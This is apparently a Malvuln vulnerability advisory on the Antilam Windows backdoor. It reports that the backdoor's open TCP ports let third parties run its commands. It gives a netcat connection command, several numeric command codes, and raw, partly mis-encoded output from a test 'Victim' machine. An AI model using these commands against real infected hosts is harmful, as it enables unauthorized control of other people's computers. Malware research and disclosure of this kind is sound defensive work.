Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Antilam.14.d  
Vulnerability: Unauthenticated Remote Command Execution   
Description: The malware listens on TCP ports 47891, 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Commands are typically three digits e.g. 001 - 116 and perform various actions on the infected host. For instance to logout the remote system use 033.  
Type: PE32  
MD5: a53351e8fa0cb4f7db3d0250387a0e4f  
Vuln ID: MVID-2021-0214  
Dropped files: scandisk.exe  
Disclosure: 05/15/2021  
nc64.exe x.x.x.x 47891  
001 + Enter (Gets system info)  
001╧α∩Ωα Windows: C:\WINDOWS  
╧α∩Ωα System:  
╧α∩Ωα Temp: C:\Users\Victim\AppData\Local\Temp\  
┬σ≡±Φ Windows: Windows NT 6.2 9200  
╠Φφ≤≥ Γ Windows: 774  
╚∞ Ωε∞∩α: DESKTOP-2B1KWJP  
╚∞ ■τσ≡α: Victim  
▀τ√Ω Windows: English (United States)  
╨ατ≡σ°σφΦσ: 1593x810  
NumLock: Off  
CapsLock: Off  
ScrollLock: Off  
╧≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α  
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 3,498,405,888  
000Taskbar ±Ω≡√δ± ...005  
000Monitor Γ√Ωδ■≈σφ...008  
000Ctrl+Alt+Del Γ√Ωδ■≈σφ...010  
000CapsLock Γ√Ωδ■≈σφ...011  
000NumLock Γ√Ωδ■≈σφ...012  
000CD-ROM ταΩ≡√≥...015  
01511:24 PM|5/14/2021018  
000Mouse was been unlocked...019  
9110916023tor: Administrator Command Prompt Promptrator)  
000╬Ωφε ταΩ≡√≥ε...024  
024Bσ≡±Φ ±σ≡Γσ≡α - 1.4b029  
000Web browser ε≥Ω≡√≥...120  
000Web browser ε≥Ω≡√≥...0130  
000╬Ωφε ±Γσ≡φ≤≥ε...022  
9110916022 Hacker [DESKTOP-2B1KWJP\Victim]+ (Administrator)  
Other misc commands:  
115 starts packman animation that eats the victims screen  
116 stops packman animation  
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